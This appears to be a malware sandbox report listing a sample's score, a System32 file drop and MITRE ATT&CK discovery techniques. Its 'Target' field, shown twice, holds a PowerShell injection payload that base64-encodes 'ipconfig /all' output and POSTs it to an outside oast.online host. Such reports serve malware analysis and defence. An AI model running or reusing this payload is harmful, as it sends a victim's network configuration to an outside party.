General
- Target http://$d=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((ipconfig /all | Out-String)));Invoke-WebRequest -Uri "https://d8sqkkjcm41rui78ljmgn4kr6jzxh76m7.oast.online/e" -Method POST -Body $d
- Sample260622-3wc8aahv5w
Score
5/10
Malware Config
Targets
-
- Target http://$d=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((ipconfig /all | Out-String)));Invoke-WebRequest -Uri "https://d8sqkkjcm41rui78ljmgn4kr6jzxh76m7.oast.online/e" -Method POST -Body $d
Score5/10-
Drops file in System32 directory
MITRE ATT&CK Enterprise v16
Discovery
Browser Information Discovery
1Query Registry
2Remote System Discovery
1System Information Discovery
3System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1